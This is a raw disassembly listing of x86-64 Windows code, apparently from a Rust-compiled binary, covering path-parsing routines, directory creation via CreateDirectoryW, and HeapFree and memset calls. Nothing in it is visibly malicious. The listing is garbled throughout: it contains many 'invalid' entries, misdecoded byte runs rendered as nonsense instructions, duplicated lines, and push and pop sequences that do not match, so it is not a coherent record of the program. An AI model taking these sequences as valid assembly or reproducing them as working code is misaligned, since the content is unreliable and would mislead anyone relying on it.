movups xmm1, xmmword [rbx + 0x11]
movups xmm2, xmmword [rbx + 0x21]
movups xmmword [r12 + 0x20], xmm2
movups xmmword [rsp + 0x20], xmm2
movups xmmword [rsp + 0x20], xmm2
and al, 0x20
movups xmmword [r12 + 0x10], xmm1
movups xmmword [r12], xmm0
and al, 0xa8
invalid
je 0x14007ef69
invalid
and al, 0xa8
add dword [rdx + rbp + 0x48], esi
sub cl, byte [rax - 0x73]
invalid
invalid
sub cl, byte [rax - 0x73]
invalid
lea rcx, [rbp + 0x60]
invalid
lea rdx, [0x1400e0fc8]
call fcn.140079e80
scasd eax, dword [rdi]
invalid
invalid
test al, al
and byte [rsi], al
add al, ch
xor dword [rdi - 0x3f7b0001], ebp
scasd eax, dword [rdi]
invalid
invalid
test al, al
scasd eax, dword [rdi]
invalid
jne 0x14007ef69
invalid
mov r8d, 1
lea rcx, [rbp + 0x28]
sub byte [r8 - 0x73], r9b
adc eax, 0x61f26
add byte [rax], al
add byte [rax - 0x73], cl
sub byte [r8 - 0x73], r9b
adc eax, 0x61f26
call fcn.14007cba0
dec dword [rbx + rcx*4 + 0x75]
jo 0x14007efaf
mov r14, qword [rbp + 0x70]
mov esi, dword [rbp + 0x70]
lea eax, [r13 - 6]
cli
movzx eax, al
lea r15, [rax + 1]
cmp al, 4
invalid
add al, 0xb8
add byte [rax], al
add byte [rax], al
invalid
mov eax, 0
add byte [rax], al
add byte [rdi + rcx + 0x43], cl
clc
cmovae r15, rax
movsxd rax, dword [rdi + r15*4]
add rax, rdi
mov r8, r15
clc
lea rdx, [0x1400e0e8a]
lea edx, [0x1400e0e8a]
add bh, bh
jmp rax
loopne 0x14007efdf
mov edx, dword [rbp + 0x88]
mov r8, qword [rbp + 0x90]
nop
add byte [rax], al
invalid
nop
add byte [rax], al
add bl, ch
sub cl, byte [rax - 0x75]
push rbp
add byte [rax], al
jmp 0x14007efd0
push 0xffffffffebf0894d
and dword [rcx - 0x48], eax
add dword [rax], eax
add byte [rax], al
add byte [rax - 0x73], cl
adc eax, 0x61ecf
add byte [rax - 0x73], cl
adc eax, 0x61ecf
jmp 0x14007efd0
mov r8d, 2
lea rdx, str....
nop dword [rax + rax]
lea rcx, [rbp + 0x28]
lea ecx, [rbp + 0x28]
call fcn.14007cba0
cmp r15d, 1
inc dword [rcx - 0x7d]
inc dword [rcx]
je case.0x14007f006.5
adc edi, edi
invalid
mov al, 1
test r15, r15
jne case.0x14007e71e.40
mov rax, qword [rbp + 0x80]
mov ecx, r13d
mov ecx, ebp
mov ecx, ebp
lea rdx, [0x1400e8028]
movsxd rcx, dword [rdx + rcx*4]
add rcx, rdx
jmp rcx
add r14, 4
add esi, 4
mov r13, r14
jmp case.0x14007f006.2
lea rcx, [rax + 1]
test rax, rax
cmove rcx, rax
lea r13, [r14 + rcx]
add r13, 8
jmp case.0x14007f006.2
lea rcx, [rax + 1]
test rax, rax
cmove rcx, rax
lea r13, [r14 + rcx]
add r13, 2
test r13, r13
setne al
jmp case.0x14007e71e.40
cmp qword [rbp + 0xb8], 0
je 0x14007f064
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, qword [rbp + 0xc0]
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, qword [rbp - 8]
cmp qword [rsi + 8], 0
je 0x14007f081
mov r8, qword [rsi]
mov rcx, qword [0x1400f0220]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
movups xmm0, xmmword [rbp + 0x28]
movups xmm1, xmmword [rbp + 0x38]
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi], xmm0
jmp 0x14007e939
lea r8, str.library_std_srcpath.rs
mov rdx, r14
call fcn.1400a43b0
ud2
lea r8, str.library_std_srcpath.rs
mov rdx, r13
call fcn.1400a43b0
ud2
mov byte [rbp + 0xcf], 1
lea r8, str.library_std_srcpath.rs
mov rdx, r13
call fcn.1400a43b0
ud2
mov ecx, 8
mov edx, 0xe0
call fcn.1400a42a0
push rcx
add al, byte [rax]
push rcx
add al, byte [rax]
ud2
stosb byte [rdi], al
add byte [rax], 0
add byte [rax - 0x75], cl
invalid
sti
dec dword [rax - 0x75]
sub byte [r8 - 0x75], r9b
push rbp
xor al, ch
push rsp
sar ebx, 1
inc esi
test edi, ecx
add byte [rax], al
add byte [rax], al
mov rdx, qword [rbp + 0x30]
call fcn.14003c270
mov byte [rbp + 0xcf], 0
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
push rbp
push r15
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
lea rbp, [rdx + 0x80]
mov rcx, qword [rbp + 0x10]
mov rdx, qword [rbp + 0x18]
mov edx, dword [rbp + 0x18]
mov edx, dword [rbp + 0x18]
call fcn.14003c270
nop
add rsp, 0x28
call qword [rax + 0x28c48348]
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret
nop dword [rax + rax]
add byte [rax], r8b
mov qword [rsp + 0x10], rdx
push rbp
push r15
adc byte [rbp + 0x41], dl
push rdi
push r14
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x28
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax + 0xcfbd], al
add byte [rax], al
invalid
in al, dx
sub byte [rax - 0x73], cl
stosb byte [rdi], al
add byte [rax], 0
add byte [rax + 0xcfbd], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rbx + rdx + 0x48], dh
mov ecx, dword [rbp + 0xa0]
invalid
je 0x14007f1b8
mov rcx, qword [rbp + 0xa0]
add byte [rax - 0x75], cl
xchg ebp, eax
test al, 0
add byte [rax], al
mov rdx, qword [rbp + 0xa8]
mov edx, dword [rbp + 0xa8]
call fcn.14003c270
nop
add rsp, 0x28
pop rbx
pop rdi
pop rsi
pop r12
pop r13
pop rbp
pop r14
pop rsi
pop rsi
pop r15
pop rbp
ret
add byte [rax], al
mov rsi, rcx
mov rax, qword [rcx + 8]
lea rcx, [rax + rax]
lea ecx, [rax + rax]
invalid
lea ecx, [rax + rax]
cmp rcx, rdx
cmova rdx, rcx
cmp rdx, 5
mov edi, 4
add byte [rax + 0xf], cl
cli
cli
ror dword [rax + 0xf], 1
ror dword [r8 - 0x7d], 1
cli
add eax, 0x4bf
invalid
add al, 0
invalid
add byte [rax + 0xf], cl
cli
cli
cmovae edi, edx
cli
movabs rcx, 0x24924924924924a
xor edx, edx
cmp rdi, rcx
setb dl
imul r8, rdi, 0x38
imul eax, edi, 0x38
shl rdx, 3
loop 0x14007f21b
test rax, rax
and al, 0x49
xchg r10, rax
xchg edx, eax
and al, 0x49
add dh, byte [rcx]
ror byte [rax + 0x39], cl
iretd
loop 0x14007f21b
add ecx, dword [rax - 0x7b]
sal byte [rsp + rbx + 0x48], 0x8b
sbb al, 0x48
invalid
test eax, eax
je 0x14007f239
sbb al, 0x48
mov rcx, qword [rsi]
mov ecx, dword [rsi]
invalid
imul rax, rax, 0x38
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 8
xor byte [rax], cl
add byte [rax], al
invalid
xor byte [rax], cl
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x38], eax
and al, 0x38
jmp 0x14007f242
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x30], 0
and al, 0x30
add byte [rax], al
add byte [rax], al
lea rcx, [rsp + 0x40]
lea r9, [rsp + 0x28]
and al, 0x28
and al, 0x28
call fcn.14005bd70
cmp qword [rsp + 0x40], 0
add byte [rax - 0x75], cl
and al, 0x48
retf
std
dec dword [rax - 0x7d]
jl 0x14007f279
add byte [rax - 0x75], cl
add byte [rax - 0x75], cl
and al, 0x48
je 0x14007f279
movabs rax, 0x8000000000000001
cmp rcx, rax
invalid
add byte [rax], al
or byte [rax + 0x39], 0xc1
invalid
sal dword [rbx + rdx + 0x48], 0x85
leave
je 0x14007f280
test rcx, rcx
jne case.0x140079dc4.286
call fcn.14003bdd0
ud2
mov qword [rsi], rcx
mov qword [rsi + 8], rdi
add rsp, 0x58
add esp, 0x58
pop rdi
pop rsi
ret
mov rdx, qword [rsp + 0x50]
call fcn.1400a42a0
ud2
int3
int3
int3
push rbx
sub rsp, 0x50
mov r8, rdx
mov rdx, rcx
lea rcx, [rsp + 0x20]
and al, ch
stc
jge 0x14007f2b5
invalid
and al, ch
stc
jge 0x14007f2b5
dec dword [rax - 0x75]
and al, 0x20
and al, 0x20
mov rax, qword [rsp + 0x20]
and al, 0x20
mov rsi, qword [rsp + 0x28]
test rax, rax
je 0x14007f357
invalid
mov rcx, qword [rsp + 0x30]
mov ecx, dword [rsp + 0x30]
and al, 0x30
xor byte [rax - 0x77], cl
and al, 0x20
and al, 0x20
mov qword [rsp + 0x20], rax
and al, 0x20
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x30], rcx
lea rcx, [rsp + 0x38]
lea rdx, [rsp + 0x20]
push rsp
and al, 0x20
push rsp
and al, 0x20
mov r8b, 1
call fcn.14007d790
mov rdi, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
test rdi, rdi
je 0x14007f357
mov rcx, rdi
xor edx, edx
call qword [sym.imp.kernel32.dll_CreateDirectoryW]
test eax, eax
je 0x14007f329
test rsi, rsi
je 0x14007f355
mov rcx, qword [0x1400f0220]
xor esi, esi
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x14007f357
call qword [sym.imp.kernel32.dll_GetLastError]
mov ebx, eax
shl rbx, 0x20
or rbx, 2
test rsi, rsi
je 0x14007f350
mov rcx, qword [0x1400f0220]
xor edx, edx
mov r8, rdi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rsi, rbx
jmp 0x14007f357
xor esi, esi
mov rax, rsi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
ret
add al, 2
add byte [rax], al
mov rdi, rdx
movzx eax, byte [rdx + 0x39]
cmp al, 3
je 0x14007f599
lea r15, [rsp + 0x71]
cmp byte [rdi + 0x3a], 0
movzx ebp, byte [rdi + 0x10]
movzx r12d, bpl
mov rcx, qword [rdi]
mov qword [rsp + 0x28], rcx
mov rbx, qword [rdi + 8]
je 0x14007f463
lea r14, [rsp + 0x68]
jmp 0x14007f3ef
fsubp st(3)
invalid
add byte [rax], al
add byte [rax], al
add dh, al
cmp dword [r9], r8d
mov al, 1
cmp r13b, al
ja 0x14007f599
cmp al, 1
je 0x14007f500
cmp eax, 2
jne 0x14007f58f
jbe 0x14007f470
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movups xmm2, xmmword [r15 + 0x20]
movaps xmmword [rsp + 0x30], xmm0
movaps xmmword [rsp + 0x40], xmm1
movaps xmmword [rsp + 0x50], xmm2
mov rcx, qword [r15 + 0x2f]
mov qword [rsp + 0x5f], rcx
sub rbx, qword [rsp + 0x68]
jb 0x14007f679
jmp 0x14007f476
add byte [rbp - 0x7b], cl
div byte [rbp + rbp + 0x48]
mov eax, dword [rsp + 0x28]
test esi, esi
je 0x14007f556
mov rax, qword [rsp + 0x28]
movzx ecx, byte [rax]
cmp r14, 1
je 0x14007f560
cmp cl, 0x2e
jne 0x14007f560
mov rax, qword [rsp + 0x28]
movzx eax, byte [rax + 1]
cmp eax, 0x2f
je 0x14007f575
cmp eax, 0x5c
je 0x14007f575
xor eax, eax
jmp 0x14007f476
invalid
inc dword [rbp + 0x31]
div byte [rcx]
shr cl, 0x16
invalid
invalid
invalid
xor r14d, r14d
xor eax, eax
jmp 0x14007f476
xor eax, eax
cmp r14, 1
inc byte [rcx]
inc byte [rcx]
jne 0x14007f476
cmp cl, 0x2e
jne 0x14007f476
add edi, edi
invalid
invalid
add edi, edi
invalid
sub rbx, 1
jb 0x14007f6a3
mov qword [rdi + 8], rbx
mov byte [rsi], 7
jmp 0x14007f59c
test eax, eax
jne 0x14007f5b0
cmp bpl, 6
jne 0x14007f5c7
invalid
xor al, dh
cmp dword [r11], r8d
mov byte [rdi + 0x39], 3
mov byte [rsi], 0xa
add rsp, 0xa8
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
mov byte [rdi + 0x39], 0
sub rbx, 1
jb 0x14007f690
invalid
add byte [rax - 0x77], cl
pop rdi
or dh, al
invalid
mov qword [rdi + 8], rbx
mov dword [rdi + 8], ebx
mov byte [rsi], 6
jmp 0x14007f59c
lea rax, [0x1400e8074]
movsxd rcx, dword [rax + r12*4]
add rcx, rax
jmp rcx
invalid
and byte [r8 - 0x7d], r9b
rol byte [rbx + rbp*8], 0x5e
mov byte [rsi], al
movaps xmm0, xmmword [rsp + 0x30]
movaps xmm1, xmmword [rsp + 0x40]
movaps xmm2, xmmword [rsp + 0x50]
push rax
push rax
movups xmmword [rsi + 1], xmm0
movups xmmword [rsi + 0x11], xmm1
adc dword [rsi + 0x11], ecx
adc dword [rdi], ecx
adc dword [rsi + 0x21], edx
push rsi
invalid
adc dword [rdi], ecx
adc dword [rsi + 0x21], edx
push rsi
invalid
push rsi
and dword [rax - 0x75], ecx
mov rax, qword [rsp + 0x5f]
mov rax, qword [rsp + 0x5f]
mov eax, dword [rsp + 0x5f]
mov qword [rsi + 0x30], rax
jmp 0x14007f59c
mov rcx, qword [rdi + 0x30]
lea rdx, [rcx + 1]
lea edx, [rcx + 1]
push rcx
add dword [rax - 0x7b], ecx
leave
push rcx
add dword [rax - 0x7b], ecx
leave
cmove rdx, rcx
add rax, rdx
add rax, 8
jmp 0x14007f63f
ror dword [rax + 1], 1
ror byte [rax - 0x7d], 1
ror byte [rax], 0xeb
sbb cl, byte [rax - 0x75]
mov rax, qword [rdi + 0x20]
mov rcx, qword [rdi + 0x30]
invalid
invalid
mov rcx, qword [rdi + 0x30]
lea rdx, [rcx + 1]
lea edx, [rcx + 1]
lea edx, [rcx + 1]
push rcx
add dword [rax - 0x7b], ecx
leave
test rcx, rcx
cmove rdx, rcx
add rax, rdx
add rax, 2
test rax, rax
je case.default.0x14007f5d5
test byte [rbp - 1], cl
invalid
invalid
test byte [rbp - 1], cl
invalid
invalid
mov byte [rdi + 0x39], 3
cmp dword [rbx], eax
mov rax, qword [rdi + 0x30]
mov qword [rsi + 0x20], rax
movups xmm0, xmmword [rdi + 0x11]
movups xmm1, xmmword [rdi + 0x21]
movups xmmword [rsi + 0x11], xmm1
adc qword [rdi], r9
adc dword [rsi + 1], eax
adc qword [rdi], r9
adc dword [rsi + 1], eax
mov byte [rsi], bpl
mov rax, qword [rsp + 0x28]
mov qword [rsi + 0x28], rax
mov qword [rsi + 0x30], rbx
jmp 0x14007f59c
and edi, edi
invalid
invalid
and edi, edi
invalid
mov rcx, rbx
mov rbx, r14
lea r8, str.library_std_srcpath.rs
sub bl, byte [rcx]
invalid
add byte [rax - 0x77], cl
invalid
call fcn.1400a44b0
ud2
invalid
sub bl, byte [rcx]
invalid
lea r8, str.library_std_srcpath.rs
lea eax, [0x1400e0f98]
add byte [rax - 0x77], cl
fnstenv [rcx]
shr al, cl
cmovle eax, dword [rdx]
add byte [rdi], cl
or ecx, dword [rbp + rcx*4 + 5]
invalid
mov rcx, rbx
xor edx, edx
call fcn.1400a44b0
ud2
lea r8, str.library_std_srcpath.rs
jmp case.0x14007f006.26
invalid
jmp 0x14007f679
int3
sub rsp, 0x98
mov rsi, rdx
mov rdi, rcx
lea rcx, [rsp + 0x20]
and byte [rax - 0x77], cl
mov edx, edi
mov edx, edi
cli
mov r8, rsi
call fcn.140079610
lahf
invalid
dec dword [rdi]
mov dh, 0x54
and al, 0x20
mov rcx, qword [rsp + 0x30]
mov rax, qword [rsp + 0x40]
lea r8, [0x1400e808c]
lahf
invalid
lea r8, [0x1400e808c]
lea eax, [0x1400e808c]
movsxd r9, dword [r8 + rdx*4]
add r9, r8
mov rdx, rsi
mov r8, rdi
jmp r9
invalid
add rcx, 4
jmp 0x14007f72f
invalid
xor al, 0x48
lea edx, [rax + 1]
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 8
jmp 0x14007f72f
mov ecx, 6
jmp 0x14007f72f
add byte [rax], al
add bl, ch
sbb dword [rax - 0x73], ecx
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x14007f72f
mov ecx, 2
mov rdx, rsi
sub rdx, rcx
lea rdx, [rax + 1]
test rax, rax
cmove rdx, rax
add rcx, rdx
add rcx, 2
jmp 0x14007f72f
mov ecx, 2
mov rdx, rsi
sub rdx, rcx
jb 0x14007f7de
add rcx, rdi
mov r8, rcx
test rdx, rdx
je 0x14007f758
lea r8, str.library_std_srcpath.rs
mov rdx, rsi
call fcn.1400a43b0
ud2
mov esi, 0x48900000
add esp, 0x28
pop rsi
pop rbp
ret
push rbx
sub rsp, 0xe0
in al, dx
loopne 0x14007f91b
add byte [rax], al
in al, dx
loopne 0x14007f91b
add byte [rax], al
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x58], 0xfffffffffffffffe
mov rdi, r8
mov rbx, rdx
mov ebx, edx
add byte [rax], 0
add byte [rax - 0x39], cl
pop r8
invalid
mov ebx, edx
ror dword [rax - 0x77], cl
invalid
mov rsi, rcx
mov esi, ecx
lea rcx, [rbp - 0x58]
xor r9d, r9d
call case.0x14007a34e.317
cmp dword [rbp - 0x58], 2
jne case.0x140078b44.367
mov r14, qword [rbp - 0x50]
mov esi, dword [rbp - 0x50]
jne 0x14007f900
mov eax, r14d
and eax, 3
invalid
cmp rax, 2
add cl, byte [rdi]
invalid
jb case.0x140078b44.367
add byte [rax], al
add byte [rbx - 0x7af0fd08], al
xchg dword [rax], eax
add byte [rax], al
invalid
cmp eax, 2
add cl, byte [rdi]
test dword [rdi + 0x4c000000], eax
add byte [rax], al
invalid
invalid
jne case.0x140078b44.367
add byte [rax], al
add byte [rcx + rcx*4 - 0x10], cl
mov rax, r14
mov rax, r14
mov eax, esi
shr rax, 0x20
cmp eax, 0x780
invalid
add byte [rax], al
call 0x147883693
add byte [rax], al
invalid
jne case.0x140078b44.367
jns 0x14007f9c4
mov qword [rbp + 0x38], r14
lea rcx, [rbp - 0x10]
invalid
mov rdx, rbx
cmp byte [rax - 0x73], cl
invalid
invalid
mov r8, rdi
mov eax, edi
mov r9d, 0x200000
mov ecx, 0x200000
add al, ch
add byte [rcx], 0
add byte [rax], al
cmp dword [rbp - 0x10], 2
invalid
call case.0x14007a34e.317
add byte [rax], al
cmp dword [rbp - 0x10], 2
jne case.0x14007a34e.277
invalid
mov eax, dword [rax]
add byte [rax], al
jge 0x14007f983
lock add cl, byte [rdi]
add cl, byte [rdi]
test dword [rbx + 0x48000000], ecx
mov eax, dword [rbp - 8]
clc
mov eax, dword [rax]
add byte [rax], al
mov rax, qword [rbp - 8]
clc
mov ecx, eax
and ecx, 3
invalid
add ecx, dword [rax - 0x73]
lea rdx, [rcx - 2]
cmp rdx, 2
add cl, byte [rdi]
invalid
fadd qword [rax]
add byte [rax], al
invalid
push rcx
dec byte [rax - 0x7d]
cli
add cl, byte [rdi]
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
test rcx, rcx
test rcx, rcx
test ecx, ecx
je 0x14007fa8d
test bl, dl
add byte [rax], al
add byte [rax], al
lea rcx, [rax - 1]
invalid
invalid
rol dword [rax], cl
add byte [rax], al
lea rcx, [rax - 1]
dec dword [rax - 0x77]
mov qword [rbp + 0x40], rcx
mov dword [rbp + 0x40], ecx
mov rcx, qword [rax - 1]
mov rcx, qword [rax - 1]
mov rax, qword [rax + 7]
mov qword [rbp + 0x50], rcx
push r8
push rax
mov qword [rbp + 0x48], rax
call qword [rax]
mov rax, qword [rbp + 0x48]
mov eax, dword [rbp + 0x48]
cmp qword [rax + 8], 0
cmp qword [rax + 8], 0
js case.0x14007a34e.274
or byte [rax], al
add byte [rdi], cl
je case.0x14007a1a1.305
test byte [rdi + 0x48000000], dl
add byte [rax - 0x7d], cl
cmp qword [rax + 0x10], 0x11
cmp dword [rax + 0x10], 0x11
js case.0x140078b44.368
adc byte [rcx], dl
jae 0x14007fa63
jns case.0x140023569.1506
mov r8, qword [rbp + 0x50]
jmp 0x14007fa6b
mov rax, qword [rbp - 0x18]
mov qword [rsi + 0x40], rax
mov dword [rsi + 0x40], eax
call 0x1804e8340
mov dword [rsi + 0x40], eax
movups xmm0, xmmword [rbp - 0x58]
movups xmm0, xmmword [rbp - 0x58]
movups xmm0, xmmword [rbp - 0x58]
test al, 0xf
adc byte [rbp - 0x48], cl
invalid
invalid
movups xmm1, xmmword [rbp - 0x48]
movabs r8, 0xd85d100fc855100f
movups xmm2, xmmword [rbp - 0x38]
movups xmm3, xmmword [rbp - 0x28]
adc byte [rbp - 0x28], bl
push rbp
enter 0x100f, 0x5d
invalid
pop rbp
adc byte [rbp - 0x28], bl
pop rbp
fmul dword [rdi]
adc dword [rsi + 0x30], ebx
pop rsi
invalid
movups xmmword [rsi + 0x30], xmm3
pop rsi
xor byte [rdi], cl
invalid
movups xmmword [rsi + 0x20], xmm2
adc dword [rsi + 0x20], edx
push rsi
and byte [rdi], cl
adc dword [rsi + 0x10], ecx
invalid
invalid
movups xmmword [rsi + 0x10], xmm1
adc byte [rdi], r9b
adc byte [rdi], cl
movups xmmword [rsi], xmm0
adc dword [rsi], eax
invalid
add rsp, 0xe0
loopne 0x14007fa1c
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rbp
ret
mov eax, dword [rbp + 0x30]
xor byte [r11 + 0xa9344d], r9b
add al, 0
invalid
mov ecx, dword [rbp + 0x34]
test eax, 0x400
add byte [rax], al
xor al, 0xa9
add byte [rax + rax], al
invalid
add byte [rax], al
add byte [rdx + rcx - 0x77], dh
retf 0xe281
invalid
je case.0x140079dc4.315
or cl, byte [rcx + 0xe281ca]
mov edx, ecx
and edx, 0x20000000
loop case.0x140023569.1506
add byte [rax], al
invalid
loop case.0x140023569.1506
add byte [rax], al
add byte [rax], ah
add byte [rax], al
and byte [rbp + 0x51], dh
jne 0x14007fa8d
jne 0x14007fa8d
movups xmm0, xmmword [rbp - 0x10]
adc byte [rbp - 0x10], al
invalid
movups xmm1, xmmword [rbp]
add byte [r15], r9b
add byte [rdi], cl
movups xmm2, xmmword [rbp + 0x10]
adc byte [rbp + 0x10], dl
push rbp
adc byte [rdi], cl
adc byte [rbp + 0x20], bl
pop rbp
invalid
movups xmm3, xmmword [rbp + 0x20]
pop rbp
and byte [rdi], cl
movups xmmword [rsi + 0x30], xmm3
adc dword [rsi + 0x30], ebx
pop rsi
xor byte [rdi], cl
movups xmmword [rsi + 0x20], xmm2
adc dword [rsi + 0x20], edx
push rsi
and byte [rdi], cl
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi + 0x10], xmm1
adc byte [rdi], r9b
movups xmmword [rsi], xmm0
adc dword [rsi], eax
invalid
mov dword [rsi + 0x40], eax
mov dword [rsi + 0x44], ecx
jmp 0x14007fa17
invalid
jmp 0x14007fa17
jmp 0x14007fa17
mov ah, 0x4c
mov eax, dword [rbp + 0x50]
push r8
mov r8, qword [rbp + 0x50]
push r8
push rax
mov r8, qword [r8 - 8]
clc
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
or eax, 0x707ae
scasb al, byte [rdi]
invalid
invalid
xor edx, edx
sar bh, cl
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x298b6
cwde
add al, byte [rax]
mov rcx, qword [0x1400f0220]
mov ecx, dword [0x1400f0220]
or eax, 0x7079f
lahf
invalid
xor edx, edx
ror byte [rbx + rcx*4 + 0x45], cl
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x298a3
mov r8, qword [rbp + 0x40]
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x298a3
call qword [sym.imp.kernel32.dll_HeapFree]
adc eax, 0x298a3
movabs dword [0x480876894c000298], eax
mov dword [rsi], 2
invalid
add al, byte [rax]
add byte [rax], al
add byte [rcx + rcx*4 + 0x76], cl
mov qword [rsi + 8], r14
mov qword [rsi], 2
mov dword [rsi], 2
invalid
add al, byte [rax]
add byte [rax], al
jbe case.0x14007a34e.300
or byte [rax - 0x39], cl
invalid
add byte [rax], al
add cl, ch
jp case.0x140079f04.319
invalid
jmp 0x14007fa17
invalid
invalid
nop dword [rax]
mov qword [rsp + 0x10], rdx
mov dword [rsp + 0x10], edx
invalid
mov dword [rsp + 0x10], edx
adc byte [rbp + 0x41], dl
push rsi
push rbp
push r14
push rsi
push rsi
push rdi
push rbx
sub rsp, 0x20
sub esp, 0x20
lea rbp, [rdx + 0x80]
add byte [rax], 0
add byte [rax], al
add byte [rax - 0x73], cl
cmp r8b, r13b
cmp al, ch
lea rcx, [rbp + 0x38]
cmp al, ch
call fcn.1400777b0
nop
int1
jl case.0x140079f04.324
invalid
invalid
call qword [rax + 0x20c48348]
add rsp, 0x20
add esp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rsi
pop rbp
ret
nop dword [rax + rax]
add byte [rax], al
add byte [rax - 0x77], cl
mov qword [rsp + 0x10], rdx
push rsp
and al, 0x10
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x20
sub esp, 0x20
sub esp, 0x20
lea rbp, [rdx + 0x80]
lea ebp, [rdx + 0x80]
add byte [rax], al
add byte [rax - 0x75], cl
mov rax, qword [rbp + 0x48]
mov rdx, qword [rax + 8]
mov rax, qword [rbp + 0x48]
mov eax, dword [rbp + 0x48]
mov rdx, qword [rax + 8]
mov r8, qword [rax + 0x10]
mov rcx, qword [rbp + 0x50]
push r8
adc byte [rax - 0x75], cl
push r8
call fcn.1400755d0
mov rcx, qword [rbp + 0x40]
pop rdx
invalid
call fcn.14008b740
nop
add rsp, 0x20
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
push r12
push rsi
push rdi
push rbx
sub rsp, 0x2c0
sub esp, 0x2c0
sub esp, 0x2c0
lea rbp, [rsp + 0x80]
mov qword [rbp + 0x238], 0xfffffffffffffffe
add dh, bh
invalid
invalid
inc dword [rcx + rcx*4 - 0x35]
retf
mov r14, r8
mov r15, rdx
add dh, bh
invalid
retf
mov rsi, rcx
movabs rax, 0x700000000
mov qword [rbp + 0x21c], rax
mov word [rbp + 0x22c], 0
add byte [rax - 0x39], cl
test dword [rdx + rax], esp
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rdx + rax], esp
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rbp + 0x210], 0
mov qword [rbp + 0x208], 1
add byte [rax], al
add dword [rax], eax
add byte [rax], al
mov eax, r9d
or eax, 0x2000000
add byte [rax], al
add cl, byte [rcx + 0x21885]
invalid
add byte [rax], al
add cl, byte [rcx + 0x21885]
add byte [rbp + rcx*4 - 0x7b], cl
invalid
invalid
invalid
lea r8, [rbp + 0x208]
or byte [rdx], al
add byte [rax], al
mov rcx, rdx
mov ecx, edx
mov rdx, r14
call fcn.14007cdd0
invalid
dec dword [rax - 0x77]
mov edi, edx
invalid
mov edi, edx
test rax, rax
je 0x14007fcc5
mov eax, edi
clc
and eax, 3
cmp rax, 2
jb 0x14007fcb8
cmp eax, 2
jne 0x14007fcb8
add cl, byte [rdi]
test ecx, edi
add byte [rax], al
add byte [rax - 0x3f], cl
shr rdx, 0x20
cmp rdx, 5
invalid
cmp edx, 5
je case.0x14007d19f.176
cmp edx, 0x20
jne 0x14007fcb8
cli
and byte [rdi], cl
test esi, esp
add byte [rax], al
add byte [rax - 0x77], cl
invalid
invalid
mov qword [rbp + 0x230], rdi
mov ebp, 0x230
add al, byte [rax]
add byte [rax - 0x73], cl
lea ecx, [rbp - 0x60]
mov rdx, r15
mov r8, r14
invalid
invalid
je case.0x14007d19f.181
invalid
lea rcx, [rbp - 0x60]
lea ecx, [rbp - 0x60]
mov rdx, r15
mov edx, edi
mov r8, r14
call case.0x14002753a.1010
invalid
dec dword [rax - 0x75]
invalid
invalid
mov r12, qword [rbp - 0x58]
invalid
invalid
invalid
invalid
movabs al, byte [0xfc08548a8658b4c]
test bl, dh
invalid
test al, 0x48
test eax, eax
invalid
test rax, rax
ror byte [rdi], 0x84
je 0x14007fcec
add byte [rax], al
add byte [rax], al
add byte [rax - 0x75], cl
mov r8b, 0x48
mov ecx, dword [rbp - 0x50]
mov qword [rbp - 0x60], rax
mov dword [rbp - 0x60], eax
mov dword [rbp - 0x60], eax
mov qword [rbp - 0x58], r12
mov dword [rbp - 0x58], esp
mov qword [rbp - 0x50], rcx
mov dword [rbp - 0x50], ecx
lea rcx, [rbp + 0x1f0]
lea ecx, [rbp + 0x1f0]
add dword [rax], eax
add byte [rax - 0x73], cl
add byte [rax], al
lea rdx, [rbp - 0x60]
mov r8b, 1
call fcn.14007d790
invalid
invalid
invalid
push rbp
movabs al, byte [0xffffdb74e801b041]
invalid
invalid
invalid
invalid
mov r14, qword [rbp + 0x1f0]
mov r12, qword [rbp + 0x1f8]
movsd dword [rdi], dword [rsi]
clc
add dword [rax], eax
add byte [rbp - 0x7b], cl
test byte [rdi], 0x84
invalid
add byte [rax], al
invalid
add dword [rax], eax
add byte [rbx + rcx*4 - 0x5b], cl
movsd dword [rdi], dword [rsi]
clc
add dword [rax], eax
add byte [rbp - 0x7b], cl
test byte [rdi], 0x84
mov ecx, 0x4c000000
test byte [rcx + 0x4c000000], bh
lea edi, [rbp - 0x60]
mov r8d, 0x250
add byte [rcx + rcx*4 - 7], cl
jge 0x14007fbd7
add byte [rcx + rcx*4 - 7], cl
xor edx, edx
call sub.VCRUNTIME140.dll_memset
invalid
